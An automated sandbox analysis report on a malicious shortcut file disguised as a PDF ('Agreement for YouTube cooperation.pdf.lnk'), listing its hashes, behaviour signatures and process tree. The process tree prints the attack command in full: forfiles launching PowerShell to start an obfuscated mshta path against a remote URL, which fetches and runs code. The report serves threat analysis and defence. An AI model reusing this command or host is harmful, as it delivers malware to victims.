Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-10-2024 17:34
Static task
static1
Behavioral task
behavioral1
Sample
A/3rd_cc_form_Oct_2024.pdf.lnk
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
A/3rd_cc_form_Oct_2024.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
A/Agreement for YouTube cooperation.pdf.lnk
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
A/Agreement for YouTube cooperation.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
A/Instruction_1928.pdf.lnk
Resource
win7-20241010-en
Behavioral task
behavioral6
Sample
A/Instruction_1928.pdf.lnk
Resource
win10v2004-20241007-en
General
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Target
A/Agreement for YouTube cooperation.pdf.lnk
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Size
1KB
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MD5
90de1044962e092ea916ae08649227ba
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SHA1
a2fafd3d9e2b224205d6a3ae529416d33be68b2e
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SHA256
8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6
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SHA512
1b2d37a8615904f074def78a06dbed15d38dc455eb5a715002a5e93c28520154f506d7ea6f150e915ca1bda0564d358635314e9022a170efee2ada168ff19890
Malware Config
Signatures
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Indirect Command Execution 1 TTPs 1 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
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Drops file in Windows directory 1 IoCs
Processes:
powershell.exedescription ioc Process File opened for modification C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid Process 2072 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2072 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exeforfiles.exedescription pid Process procid_target PID 1732 wrote to memory of 2356 1732 cmd.exe 31 PID 1732 wrote to memory of 2356 1732 cmd.exe 31 PID 1732 wrote to memory of 2356 1732 cmd.exe 31 PID 2356 wrote to memory of 2072 2356 forfiles.exe 32 PID 2356 wrote to memory of 2072 2356 forfiles.exe 32 PID 2356 wrote to memory of 2072 2356 forfiles.exe 32
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\A\Agreement for YouTube cooperation.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\forfiles.exe"C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json"2⤵
- Indirect Command Execution
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeStart-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2072
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